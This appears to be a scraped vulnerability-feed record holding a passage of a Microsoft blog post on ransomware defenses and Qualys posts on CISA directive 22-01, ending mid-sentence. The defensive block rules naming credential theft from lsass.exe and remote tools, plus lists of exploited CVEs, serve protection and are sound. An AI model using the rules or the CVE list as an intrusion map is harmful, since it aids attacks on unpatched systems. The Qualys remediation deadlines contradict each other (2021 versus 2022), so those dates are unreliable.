MFA](<https://docs.microsoft.com/azure/active-directory/identity-protection/howto-identity-protection-configure-mfa-policy>) from all devices, in all locations, at all times.\n * Enable passwordless authentication methods (for example, Windows Hello, FIDO keys, or Microsoft Authenticator) for accounts that support passwordless. For accounts that still require passwords, use authenticator apps like Microsoft Authenticator for MFA. Refer to [this article](<https://docs.microsoft.com/azure/active-directory/authentication/concept-authentication-methods>) for the different authentication methods and features.\n * [Identify and secure workload identities](<https://docs.microsoft.com/azure/active-directory/identity-protection/concept-workload-identity-risk>) to secure accounts where traditional MFA enforcement does not apply.\n * Ensure that users are properly educated on not accepting unexpected two-factor authentication (2FA).\n * For MFA that uses authenticator apps, ensure that the app requires a code to be typed in where possible, as many intrusions where MFA was enabled (including those by DEV-0537) still succeeded due to users clicking \u201cYes\u201d on the prompt on their phones even when they were not at their [computers](<https://docs.microsoft.com/azure/active-directory/authentication/how-to-mfa-number-match>). Refer to [this article](<https://docs.microsoft.com/azure/active-directory/authentication/concept-authentication-methods>) for an example.\n * Disable [legacy authentication](<https://docs.microsoft.com/azure/active-directory/fundamentals/concept-fundamentals-block-legacy-authentication#moving-away-from-legacy-authentication>).\n\n**Cloud admins**\n\n * Ensure cloud admins/tenant admins are treated with [the same level of security and credential hygiene](<https://docs.microsoft.com/azure/active-directory/roles/best-practices>) as Domain Admins.\n * Address [gaps in authentication coverage](<https://docs.microsoft.com/azure/active-directory/authentication/how-to-authentication-find-coverage-gaps>).\n\n### Addressing security blind spots\n\nIn almost every observed ransomware incident, at least one system involved in the attack had a misconfigured security product that allowed the attacker to disable protections or evade detection. In many instances, the initial access for access brokers is a legacy system that isn\u2019t protected by antivirus or EDR solutions. It\u2019s important to understand that the lack security controls on these systems that have access to highly privileged credentials act as blind spots that allow attackers to perform the entire ransomware and exfiltration attack chain from a single system without being detected. In some instances, this is specifically advertised as a feature that access brokers sell.\n\nOrganizations should review and verify that security tools are running in their most secure configuration and perform regular network scans to ensure appropriate security products are monitoring and protecting all systems, including servers. If this isn\u2019t possible, make sure that your legacy systems are either physically isolated through a firewall or logically isolated by ensuring they have no credential overlap with other systems.\n\nFor Microsoft 365 Defender customers, the following checklist eliminates security blind spots:\n\n * Turn on [cloud-delivered protection](<https://docs.microsoft.com/microsoft-365/security/defender-endpoint/configure-block-at-first-sight-microsoft-defender-antivirus?view=o365-worldwide>) in Microsoft Defender Antivirus to cover rapidly evolving attacker tools and techniques, block new and unknown malware variants, and enhance attack surface reduction rules and tamper protection.\n * Turn on [tamper protection](<https://docs.microsoft.com/microsoft-365/security/defender-endpoint/prevent-changes-to-security-settings-with-tamper-protection?view=o365-worldwide>) features to prevent attackers from stopping security services.\n * Run [EDR in block mode](<https://docs.microsoft.com/microsoft-365/security/defender-endpoint/edr-in-block-mode?view=o365-worldwide>) so that Microsoft Defender for Endpoint can block malicious artifacts, even when a non-Microsoft antivirus doesn\u2019t detect the threat or when Microsoft Defender Antivirus is running in passive mode. EDR in block mode also blocks indicators identified proactively by Microsoft Threat Intelligence teams.\n * Enable [network protection](<https://docs.microsoft.com/microsoft-365/security/defender-endpoint/enable-network-protection?view=o365-worldwide>) to prevent applications or users from accessing malicious domains and other malicious content on the internet.\n * Enable [investigation and remediation](<https://docs.microsoft.com/microsoft-365/security/defender-endpoint/automated-investigations?view=o365-worldwide>) in full automated mode to allow Microsoft Defender for Endpoint to take immediate action on alerts to resolve breaches.\n * Use [device discovery](<https://docs.microsoft.com/microsoft-365/security/defender-endpoint/device-discovery?view=o365-worldwide>) to increase visibility into the network by finding unmanaged devices and onboarding them to Microsoft Defender for Endpoint.\n * [Protect user identities and credentials](<https://docs.microsoft.com/defender-for-identity/what-is>) using Microsoft Defender for Identity, a cloud-based security solution that leverages on-premises Active Directory signals to monitor and analyze user behavior to identify suspicious user activities, configuration issues, and active attacks.\n\n### Reducing the attack surface\n\nMicrosoft 365 Defender customers can turn on [attack surface reduction rules](<https://docs.microsoft.com/microsoft-365/security/defender-endpoint/attack-surface-reduction?view=o365-worldwide>) to prevent common attack techniques used in ransomware attacks. These rules, which can be configured by all Microsoft Defender Antivirus customers and not just those using the EDR solution, offer significant hardening against attacks. In observed attacks from several ransomware-associated activity groups, Microsoft customers who had the following rules enabled were able to mitigate the attack in the initial stages and prevented hands-on-keyboard activity:\n\n * Common entry vectors:\n * [Block all Office applications from creating child processes](<https://docs.microsoft.com/microsoft-365/security/defender-endpoint/attack-surface-reduction#block-all-office-applications-from-creating-child-processes>)\n * [Block Office communication application from creating child processes](<https://docs.microsoft.com/microsoft-365/security/defender-endpoint/attack-surface-reduction#block-office-communication-application-from-creating-child-processes>)\n * [Block Office applications from creating executable content](<https://docs.microsoft.com/microsoft-365/security/defender-endpoint/attack-surface-reduction#block-office-applications-from-creating-executable-content>)\n * [Block Office applications from injecting code into other processes](<https://docs.microsoft.com/microsoft-365/security/defender-endpoint/attack-surface-reduction#block-office-applications-from-injecting-code-into-other-processes>)\n * [Block execution of potentially obfuscated scripts](<https://docs.microsoft.com/microsoft-365/security/defender-endpoint/attack-surface-reduction#block-execution-of-potentially-obfuscated-scripts>)\n * [Block JavaScript or VBScript from launching downloaded executable content](<https://docs.microsoft.com/microsoft-365/security/defender-endpoint/attack-surface-reduction#block-javascript-or-vbscript-from-launching-downloaded-executable-content>)\n * Ransomware deployment and lateral movement stage (in order of impact based on the stage in attack they prevent):\n * [Block executable files from running unless they meet a prevalence, age, or trusted list criterion](<https://docs.microsoft.com/microsoft-365/security/defender-endpoint/attack-surface-reduction#block-executable-files-from-running-unless-they-meet-a-prevalence-age-or-trusted-list-criterion>)\n * [Block credential stealing from the Windows local security authority subsystem (lsass.exe)](<https://docs.microsoft.com/microsoft-365/security/defender-endpoint/attack-surface-reduction#block-credential-stealing-from-the-windows-local-security-authority-subsystem>)\n * [Block process creations originating from PsExec and WMI commands](<https://docs.microsoft.com/microsoft-365/security/defender-endpoint/attack-surface-reduction#block-process-creations-originating-from-psexec-and-wmi-commands>)\n * [Use advanced protection against ransomware](<https://docs.microsoft.com/microsoft-365/security/defender-endpoint/attack-surface-reduction#use-advanced-protection-against-ransomware>)\n\nIn addition, Microsoft has changed the [default behavior of Office applications to block macros](<https://docs.microsoft.com/DeployOffice/security/internet-macros-blocked>) in files from the internet, further reduce the attack surface for many human-operated ransomware attacks and other threats.\n\n### Hardening internet-facing assets and understanding your perimeter\n\nOrganizations must identify and secure perimeter systems that attackers might use to access the network. Public scanning interfaces, such as [RiskIQ](<https://www.riskiq.com/what-is-attack-surface-management/>), can be used to augment data. Some systems that should be considered of interest to attackers and therefore need to be hardened include:\n\n * Secure Remote Desktop Protocol (RDP) or Windows Virtual Desktop endpoints with MFA to harden against password spray or brute force attacks.\n * Block Remote IT management tools such as Teamviewer, Splashtop, Remote Manipulator System, Anydesk, Atera Remote Management, and ngrok.io via network blocking such as perimeter firewall rules if not in use in your environment. If these systems are used in your environment, enforce security settings where possible to implement MFA.\n\nRansomware attackers and access brokers also use unpatched vulnerabilities, whether already disclosed or zero-day, especially in the initial access stage. Even older vulnerabilities were implicated in ransomware incidents in 2022 because some systems remained unpatched, partially patched, or because access brokers had established persistence on a previously compromised systems despite it later being patched.\n\nSome observed vulnerabilities used in campaigns between 2020 and 2022 that defenders can check for and mitigate include:\n\n * Citrix ADC systems affected by [CVE-2019-19781](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-19781>)\n * [Pulse Secure VPN systems](<https://us-cert.cisa.gov/ncas/alerts/aa21-110a>) affected by [CVE-2019-11510](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11510>), [CVE-2020-8260](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-8260>), [CVE-2020-8243](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-8243>), [CVE-2021-22893](<https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44784/>), [CVE-2021-22894](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22894>), [CVE-2021-22899](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22899>), and [CVE-2021-22900](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22900>)\n * SonicWall SSLVPN affected by [CVE-2021-20016](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-20016>)\n * Microsoft SharePoint servers affected by [CVE-2019-0604](<https://msrc.microsoft.com/update-guide/en-us/vulnerability/CVE-2019-0604>)\n * Unpatched [Microsoft Exchange servers](<https://techcommunity.microsoft.com/t5/exchange-team-blog/released-may-2021-exchange-server-security-updates/ba-p/2335209>)\n * Zoho ManageEngine systems affected by [CVE-2020-10189](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-10189>)\n * FortiGate VPN servers affected by [CVE-2018-13379](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-13379>)\n * Apache log4j [CVE-2021-44228](<https://nvd.nist.gov/vuln/detail/CVE-2021-44228>)\n\nRansomware attackers also rapidly [adopt new vulnerabilities](<https://digital.nhs.uk/cyber-alerts/2022/cc-4002>). To further reduce organizational exposure, Microsoft Defender for Endpoint customers can use the [threat and vulnerability management](<https://docs.microsoft.com/microsoft-365/security/defender-endpoint/next-gen-threat-and-vuln-mgt>) capability to discover, prioritize, and remediate vulnerabilities and misconfigurations.\n\n## Microsoft 365 Defender: Deep cross-domain visibility and unified investigation capabilities to defend against ransomware attacks\n\nThe multi-faceted threat of ransomware requires a comprehensive approach to security. The steps we outlined above defend against common attack patterns and will go a long way in preventing ransomware attacks. [Microsoft 365 Defender](<https://www.microsoft.com/microsoft-365/security/microsoft-365-defender>) is designed to make it easy for organizations to apply many of these security controls.\n\nMicrosoft 365 Defender\u2019s industry-leading visibility and detection capabilities, demonstrated in the recent [MITRE Engenuity ATT&CK\u00ae Evaluations](<https://www.microsoft.com/security/blog/2022/04/05/microsoft-365-defender-demonstrates-industry-leading-protection-in-the-2022-mitre-engenuity-attck-evaluations/>), automatically stop most common threats and attacker techniques. To equip organizations with the tools to combat human-operated ransomware, which by nature takes a unique path for every organization, Microsoft 365 Defender provides rich investigation features that enable defenders to seamlessly inspect and remediate malicious behavior across domains.\n\n[Learn how you can stop attacks through automated, cross-domain security and built-in AI with Microsoft Defender 365.](<https://www.microsoft.com/microsoft-365/security/microsoft-365-defender>)\n\nIn line with the recently announced expansion into a new service category called [**Microsoft Security Experts**](<https://www.microsoft.com/en-us/security/business/services>), we're introducing the availability of [Microsoft Defender Experts for Hunting](<https://docs.microsoft.com/en-us/microsoft-365/security/defender/defenderexpertsforhuntingprev>) for public preview. Defender Experts for Hunting is for customers who have a robust security operations center but want Microsoft to help them proactively hunt for threats across Microsoft Defender data, including endpoints, Office 365, cloud applications, and identity.\n\nJoin our research team at the **Microsoft Security Summit** digital event on May 12 to learn what developments Microsoft is seeing in the threat landscape, as well as how we can help your business mitigate these types of attacks. Ask your most pressing questions during the live chat Q&A. [Register today.](<https://mssecuritysummit.eventcore.com?ocid=AID3046765_QSG_584073>)\n\nThe post [Ransomware-as-a-service: Understanding the cybercrime gig economy and how to protect yourself](<https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/>) appeared first on [Microsoft Security Blog](<https://www.microsoft.com/security/blog>).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-05-09T13:00:00", "type": "mmpc", "title": "Ransomware-as-a-service: Understanding the cybercrime gig economy and how to protect yourself", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2019-0604", "CVE-2019-11510", "CVE-2019-19781", "CVE-2020-10189", "CVE-2020-8243", "CVE-2020-8260", "CVE-2021-20016", "CVE-2021-22893", "CVE-2021-22894", "CVE-2021-22899", "CVE-2021-22900", "CVE-2021-31207", "CVE-2021-40444", "CVE-2021-44228"], "modified": "2022-05-09T13:00:00", "id": "MMPC:27EEFD67E5E7E712750B1472E15C5A0B", "href": "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "qualysblog": [{"lastseen": "2021-11-09T06:36:02", "description": "[Start your VMDR 30-day, no-cost trial today](<https://www.qualys.com/forms/vmdr/>)\n\n## Overview\n\nOn November 3, 2021, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) released a [Binding Operational Directive 22-01](<https://cyber.dhs.gov/bod/22-01/>), "Reducing the Significant Risk of Known Exploited Vulnerabilities." [This directive](<https://www.cisa.gov/news/2021/11/03/cisa-releases-directive-reducing-significant-risk-known-exploited-vulnerabilities>) recommends urgent and prioritized remediation of the vulnerabilities that adversaries are actively exploiting. It establishes a CISA-managed catalog of known exploited vulnerabilities that carry significant risk to the federal government and establishes requirements for agencies to remediate these vulnerabilities.\n\nThis directive requires agencies to review and update agency internal vulnerability management procedures within 60 days according to this directive and remediate each vulnerability according to the timelines outlined in 'CISA's vulnerability catalog.\n\nQualys helps customers to identify and assess risk to organizations' digital infrastructure and automate remediation. Qualys' guidance for rapid response to Operational Directive is below.\n\n## Directive Scope\n\nThis directive applies to all software and hardware found on federal information systems managed on agency premises or hosted by third parties on an agency's behalf.\n\nHowever, CISA strongly recommends that private businesses and state, local, tribal, and territorial (SLTT) governments prioritize the mitigation of vulnerabilities listed in CISA's public catalog.\n\n## CISA Catalog of Known Exploited Vulnerabilities\n\nIn total, CISA posted a list of [291 Common Vulnerabilities and Exposures (CVEs)](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>) that pose the highest risk to federal agencies. The Qualys Research team has mapped all these CVEs to applicable QIDs. You can view the complete list of CVEs and the corresponding QIDs [here](<https://success.qualys.com/discussions/s/article/000006791>).\n\n### Not all vulnerabilities are created equal\n\nOur quick review of the 291 CVEs posted by CISA suggests that not all vulnerabilities hold the same priority. CISA has ordered U.S. federal enterprises to apply patches as soon as possible. The remediation guidance can be grouped into three distinct categories:\n\n#### Category 1 \u2013 Past Due\n\nRemediation of 15 CVEs (~5%) are already past due. These vulnerabilities include some of the most significant exploits in the recent past, including PrintNightmare, SigRed, ZeroLogon, and vulnerabilities in CryptoAPI, Pulse Secure, and more. Qualys Patch Management can help you remediate most of these vulnerabilities.\n\n#### Category 2 \u2013 Patch in less than two weeks\n\n100 (34%) Vulnerabilities need to be patched in the next two weeks, or by **November 17, 2022**.\n\n#### Category 3 \u2013 Patch within six months\n\nThe remaining 176 vulnerabilities (60%) must be patched within the next six months or by **May 3, 2022**.\n\n## Detect CISA's Vulnerabilities Using Qualys VMDR\n\nThe Qualys Research team has released several remote and authenticated detections (QIDs) for the vulnerabilities. Since the directive includes 291 CVEs, we recommend executing your search based on vulnerability criticality, release date, or other categories.\n\nFor example, to detect critical CVEs released in 2021:\n\n_vulnerabilities.vulnerability.criticality:CRITICAL and vulnerabilities.vulnerability.cveIds:[ `CVE-2021-1497`,`CVE-2021-1498`,`CVE-2021-1647`,`CVE-2021-1675`,`CVE-2021-1732`,`CVE-2021-1782`,`CVE-2021-1870`,`CVE-2021-1871`,`CVE-2021-1879`,`CVE-2021-1905`,`CVE-2021-1906`,`CVE-2021-20016`,`CVE-2021-21017`,`CVE-2021-21148`,`CVE-2021-21166`,`CVE-2021-21193`,`CVE-2021-21206`,`CVE-2021-21220`,`CVE-2021-21224`,`CVE-2021-21972`,`CVE-2021-21985`,`CVE-2021-22005`,`CVE-2021-22205`,`CVE-2021-22502`,`CVE-2021-22893`,`CVE-2021-22894`,`CVE-2021-22899`,`CVE-2021-22900`,`CVE-2021-22986`,`CVE-2021-26084`,`CVE-2021-26411`,`CVE-2021-26855`,`CVE-2021-26857`,`CVE-2021-26858`,`CVE-2021-27059`,`CVE-2021-27065`,`CVE-2021-27085`,`CVE-2021-27101`,`CVE-2021-27102`,`CVE-2021-27103`,`CVE-2021-27104`,`CVE-2021-28310`,`CVE-2021-28550`,`CVE-2021-28663`,`CVE-2021-28664`,`CVE-2021-30116`,`CVE-2021-30551`,`CVE-2021-30554`,`CVE-2021-30563`,`CVE-2021-30632`,`CVE-2021-30633`,`CVE-2021-30657`,`CVE-2021-30661`,`CVE-2021-30663`,`CVE-2021-30665`,`CVE-2021-30666`,`CVE-2021-30713`,`CVE-2021-30761`,`CVE-2021-30762`,`CVE-2021-30807`,`CVE-2021-30858`,`CVE-2021-30860`,`CVE-2021-30860`,`CVE-2021-30869`,`CVE-2021-31199`,`CVE-2021-31201`,`CVE-2021-31207`,`CVE-2021-31955`,`CVE-2021-31956`,`CVE-2021-31979`,`CVE-2021-33739`,`CVE-2021-33742`,`CVE-2021-33771`,`CVE-2021-34448`,`CVE-2021-34473`,`CVE-2021-34523`,`CVE-2021-34527`,`CVE-2021-35211`,`CVE-2021-36741`,`CVE-2021-36742`,`CVE-2021-36942`,`CVE-2021-36948`,`CVE-2021-36955`,`CVE-2021-37973`,`CVE-2021-37975`,`CVE-2021-37976`,`CVE-2021-38000`,`CVE-2021-38003`,`CVE-2021-38645`,`CVE-2021-38647`,`CVE-2021-38647`,`CVE-2021-38648`,`CVE-2021-38649`,`CVE-2021-40444`,`CVE-2021-40539`,`CVE-2021-41773`,`CVE-2021-42013`,`CVE-2021-42258` ]_\n\n\n\nUsing [Qualys VMDR](<https://www.qualys.com/subscriptions/vmdr/>), you can effectively prioritize those vulnerabilities using the VMDR Prioritization report.\n\n\n\nIn addition, you can locate a vulnerable host through Qualys Threat Protection by simply clicking on the impacted hosts to effectively identify and track this vulnerability.\n\n\n\nWith Qualys Unified Dashboard, you can track your exposure to the CISA Known Exploited Vulnerabilities and gather your status and overall management in real-time. With trending enabled for dashboard widgets, you can keep track of the status of the vulnerabilities in your environment using the ["CISA 2010-21| KNOWN EXPLOITED VULNERABILITIES"](<https://success.qualys.com/support/s/article/000006791>) Dashboard.\n\n### Detailed Operational Dashboard:\n\n\n\n### Summary Dashboard High Level Structured by Vendor:\n\n\n\n## Remediation\n\nTo comply with this directive, federal agencies must remediate most "Category 2" vulnerabilities by **November 17, 2021**, and "Category 3" by May 3, 2021. Qualys Patch Management can help streamline the remediation of many of these vulnerabilities.\n\nCustomers can copy the following query into the Patch Management app to help customers comply with the directive's aggressive remediation date of November 17, 2021. Running this query will find all required patches and allow quick and efficient deployment of those missing patches to all assets directly from within the Qualys Cloud Platform.\n\ncve:[`CVE-2021-1497`,`CVE-2021-1498`,`CVE-2021-1647`,`CVE-2021-1675`,`CVE-2021-1732`,`CVE-2021-1782`,`CVE-2021-1870`,`CVE-2021-1871`,`CVE-2021-1879`,`CVE-2021-1905`,`CVE-2021-1906`,`CVE-2021-20016`,`CVE-2021-21017`,`CVE-2021-21148`,`CVE-2021-21166`,`CVE-2021-21193`,`CVE-2021-21206`,`CVE-2021-21220`,`CVE-2021-21224`,`CVE-2021-21972`,`CVE-2021-21985`,`CVE-2021-22005`,`CVE-2021-22205`,`CVE-2021-22502`,`CVE-2021-22893`,`CVE-2021-22894`,`CVE-2021-22899`,`CVE-2021-22900`,`CVE-2021-22986`,`CVE-2021-26084`,`CVE-2021-26411`,`CVE-2021-26855`,`CVE-2021-26857`,`CVE-2021-26858`,`CVE-2021-27059`,`CVE-2021-27065`,`CVE-2021-27085`,`CVE-2021-27101`,`CVE-2021-27102`,`CVE-2021-27103`,`CVE-2021-27104`,`CVE-2021-28310`,`CVE-2021-28550`,`CVE-2021-28663`,`CVE-2021-28664`,`CVE-2021-30116`,`CVE-2021-30551`,`CVE-2021-30554`,`CVE-2021-30563`,`CVE-2021-30632`,`CVE-2021-30633`,`CVE-2021-30657`,`CVE-2021-30661`,`CVE-2021-30663`,`CVE-2021-30665`,`CVE-2021-30666`,`CVE-2021-30713`,`CVE-2021-30761`,`CVE-2021-30762`,`CVE-2021-30807`,`CVE-2021-30858`,`CVE-2021-30860`,`CVE-2021-30860`,`CVE-2021-30869`,`CVE-2021-31199`,`CVE-2021-31201`,`CVE-2021-31207`,`CVE-2021-31955`,`CVE-2021-31956`,`CVE-2021-31979`,`CVE-2021-33739`,`CVE-2021-33742`,`CVE-2021-33771`,`CVE-2021-34448`,`CVE-2021-34473`,`CVE-2021-34523`,`CVE-2021-34527`,`CVE-2021-35211`,`CVE-2021-36741`,`CVE-2021-36742`,`CVE-2021-36942`,`CVE-2021-36948`,`CVE-2021-36955`,`CVE-2021-37973`,`CVE-2021-37975`,`CVE-2021-37976`,`CVE-2021-38000`,`CVE-2021-38003`,`CVE-2021-38645`,`CVE-2021-38647`,`CVE-2021-38647`,`CVE-2021-38648`,`CVE-2021-38649`,`CVE-2021-40444`,`CVE-2021-40539`,`CVE-2021-41773`,`CVE-2021-42013`,`CVE-2021-42258` ]\n\n\n\nQualys patch content covers many Microsoft, Linux, and third-party applications; however, some of the vulnerabilities introduced by CISA are not currently supported out-of-the-box by Qualys. To remediate those vulnerabilities, Qualys provides the ability to deploy custom patches. The flexibility to customize patch deployment allows customers to patch the remaining CVEs in this list.\n\nNote that the due date for \u201cCategory 1\u201d patches has already passed. To find missing patches in your environment for \u201cCategory 1\u201d past due CVEs, copy the following query into the Patch Management app:\n\ncve:['CVE-2021-1732\u2032,'CVE-2020-1350\u2032,'CVE-2020-1472\u2032,'CVE-2021-26855\u2032,'CVE-2021-26858\u2032,'CVE-2021-27065\u2032,'CVE-2020-0601\u2032,'CVE-2021-26857\u2032,'CVE-2021-22893\u2032,'CVE-2020-8243\u2032,'CVE-2021-22900\u2032,'CVE-2021-22894\u2032,'CVE-2020-8260\u2032,'CVE-2021-22899\u2032,'CVE-2019-11510']\n\n\n\n## Federal Enterprises and Agencies Can Act Now\n\nFor federal enterprises and agencies, it's a race against time to remediate these vulnerabilities across their respective environments and achieve compliance with this binding directive. Qualys solutions can help achieve compliance with this binding directive. Qualys Cloud Platform is FedRAMP authorized, with [107 FedRAMP authorizations](<https://marketplace.fedramp.gov/#!/product/qualys-cloud-platform?sort=-authorizations>).\n\nHere are a few steps Federal enterprises can take immediately:\n\n * Run vulnerability assessments against all your assets by leveraging various sensors such as Qualys agent, scanners, and more\n * Prioritize remediation by due dates\n * Identify all vulnerable assets automatically mapped into the threat feed\n * Use Patch Management to apply patches and other configurations changes\n * Track remediation progress through Unified Dashboards\n\n## Summary\n\nUnderstanding vulnerabilities is a critical but partial part of threat mitigation. Qualys VMDR helps customers discover, assess threats, assign risk, and remediate threats in one solution. Qualys customers rely on the accuracy of Qualys' threat intelligence to protect their digital environments and stay current with patch guidance. Using Qualys VMDR can help any organization efficiently respond to the CISA directive.\n\n## Getting Started\n\nLearn how [Qualys VMDR](<https://www.qualys.com/subscriptions/vmdr/>) provides actionable vulnerability guidance and automates remediation in one solution. Ready to get started? Sign up for a 30-day, no-cost [VMDR trial](<https://www.qualys.com/forms/vmdr/>).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 6.0}, "published": "2021-11-09T06:15:01", "type": "qualysblog", "title": "Qualys Response to CISA Alert: Binding Operational Directive 22-01", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-11510", "CVE-2020-0601", "CVE-2020-1350", "CVE-2020-1472", "CVE-2020-8243", "CVE-2020-8260", "CVE-2021-1497", "CVE-2021-1498", "CVE-2021-1647", "CVE-2021-1675", "CVE-2021-1732", "CVE-2021-1782", "CVE-2021-1870", "CVE-2021-1871", "CVE-2021-1879", "CVE-2021-1905", "CVE-2021-1906", "CVE-2021-20016", "CVE-2021-21017", "CVE-2021-21148", "CVE-2021-21166", "CVE-2021-21193", "CVE-2021-21206", "CVE-2021-21220", "CVE-2021-21224", "CVE-2021-21972", "CVE-2021-21985", "CVE-2021-22005", "CVE-2021-22205", "CVE-2021-22502", "CVE-2021-22893", "CVE-2021-22894", "CVE-2021-22899", "CVE-2021-22900", "CVE-2021-22986", "CVE-2021-26084", "CVE-2021-26411", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27059", "CVE-2021-27065", "CVE-2021-27085", "CVE-2021-27101", "CVE-2021-27102", "CVE-2021-27103", "CVE-2021-27104", "CVE-2021-28310", "CVE-2021-28550", "CVE-2021-28663", "CVE-2021-28664", "CVE-2021-30116", "CVE-2021-30551", "CVE-2021-30554", "CVE-2021-30563", "CVE-2021-30632", "CVE-2021-30633", "CVE-2021-30657", "CVE-2021-30661", "CVE-2021-30663", "CVE-2021-30665", "CVE-2021-30666", "CVE-2021-30713", "CVE-2021-30761", "CVE-2021-30762", "CVE-2021-30807", "CVE-2021-30858", "CVE-2021-30860", "CVE-2021-30869", "CVE-2021-31199", "CVE-2021-31201", "CVE-2021-31207", "CVE-2021-31955", "CVE-2021-31956", "CVE-2021-31979", "CVE-2021-33739", "CVE-2021-33742", "CVE-2021-33771", "CVE-2021-34448", "CVE-2021-34473", "CVE-2021-34523", "CVE-2021-34527", "CVE-2021-35211", "CVE-2021-36741", "CVE-2021-36742", "CVE-2021-36942", "CVE-2021-36948", "CVE-2021-36955", "CVE-2021-37973", "CVE-2021-37975", "CVE-2021-37976", "CVE-2021-38000", "CVE-2021-38003", "CVE-2021-38645", "CVE-2021-38647", "CVE-2021-38648", "CVE-2021-38649", "CVE-2021-40444", "CVE-2021-40539", "CVE-2021-41773", "CVE-2021-42013", "CVE-2021-42258"], "modified": "2021-11-09T06:15:01", "id": "QUALYSBLOG:BC22CE22A3E70823D5F0E944CBD5CE4A", "href": "https://blog.qualys.com/category/vulnerabilities-threat-research", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-25T19:27:09", "description": "_CISA released a directive in November 2021, recommending urgent and prioritized remediation of actively exploited vulnerabilities. Both government agencies and corporations should heed this advice. This blog outlines how Qualys Vulnerability Management, Detection & Response can be used by any organization to respond to this directive efficiently and effectively._\n\n### Situation\n\nLast November 2021, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) released a [Binding Operational Directive 22-01](<https://cyber.dhs.gov/bod/22-01/>) called \u201cReducing the Significant Risk of Known Exploited Vulnerabilities.\u201d [This directive](<https://www.cisa.gov/news/2021/11/03/cisa-releases-directive-reducing-significant-risk-known-exploited-vulnerabilities>) recommends urgent and prioritized remediation of the vulnerabilities that adversaries are actively exploiting. It establishes a CISA-managed catalog of Known Exploited Vulnerabilities that carry significant risk to the federal government and sets requirements for agencies to remediate these vulnerabilities.\n\nThis directive requires federal agencies to review and update internal vulnerability management procedures to remediate each vulnerability according to the timelines outlined in CISA\u2019s vulnerability catalog.\n\n### Directive Scope\n\nThis CISA directive applies to all software and hardware found on federal information systems managed on agency premises or hosted by third parties on an agency\u2019s behalf.\n\nHowever, CISA strongly recommends that public and private businesses as well as state, local, tribal, and territorial (SLTT) governments prioritize the mitigation of vulnerabilities listed in CISA\u2019s public catalog. This is truly vulnerability management guidance for all organizations to heed.\n\n### CISA Catalog of Known Exploited Vulnerabilities\n\nIn total, CISA posted a list of [379 Common Vulnerabilities and Exposures (CVEs)](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>) that pose the highest risk to federal agencies. CISA\u2019s most recent update was issued on February 22, 2022.\n\nThe Qualys Research team is continuously updating CVEs to available QIDs (Qualys vulnerability identifiers) in the Qualys Knowledgebase, with the RTI field \u201cCISA Exploited\u201d and this is going to be a continuous approach, as CISA frequently amends with the latest CVE as part of their regular feeds.\n\nOut of these vulnerabilities, Directive 22-01 urges all organizations to reduce their exposure to cyberattacks by effectively prioritizing the remediation of the identified Vulnerabilities.\n\nCISA has ordered U.S. federal agencies to apply patches as soon as possible. The remediation guidance is grouped into multiple categories by CISA based on attack surface severity and time-to-remediate. The timelines are available in the [Catalog](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>) for each of the CVEs.\n\n### Detect CISA Vulnerabilities Using Qualys VMDR\n\nQualys helps customers to identify and assess the risk 